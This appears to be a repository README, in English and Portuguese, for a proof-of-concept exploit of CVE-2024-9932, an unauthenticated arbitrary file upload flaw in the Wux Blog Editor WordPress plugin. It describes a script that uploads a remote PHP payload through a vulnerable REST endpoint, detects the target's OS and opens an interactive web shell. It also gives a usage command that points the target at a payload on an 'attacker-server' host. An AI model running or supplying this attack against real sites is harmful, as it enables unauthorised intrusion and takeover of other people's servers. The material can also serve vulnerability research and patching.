Unauthenticated 0-click RCE exploit for CVE-2024-9932. Exploits an arbitrary file upload vulnerability in the Wux Blog Editor WordPress plugin to upload a remote PHP payload, detect the target operating system, and achieve remote command execution through an interactive web shell.
Este repositório contém um exploit de prova de conceito para o CVE-2024-9932, uma vulnerabilidade de upload arbitrário de arquivos sem autenticação no plugin Wux Blog Editor do WordPress, que leva à execução remota de comandos (RCE).
O script abusa de um endpoint REST vulnerável para fazer upload de um payload PHP remoto sem autenticação. Após o upload, ele reconstrói a localização final do arquivo, detecta o sistema operacional alvo e fornece um shell remoto interativo para execução de comandos.
python CVE-2024-9932.py --target http://target-wordpress-site --payload http://attacker-server/cmd.php --payload_name cmd.php
Após a execução, o script faz o upload do payload, confirma sua acessibilidade, detecta o SO e oferece um shell interativo.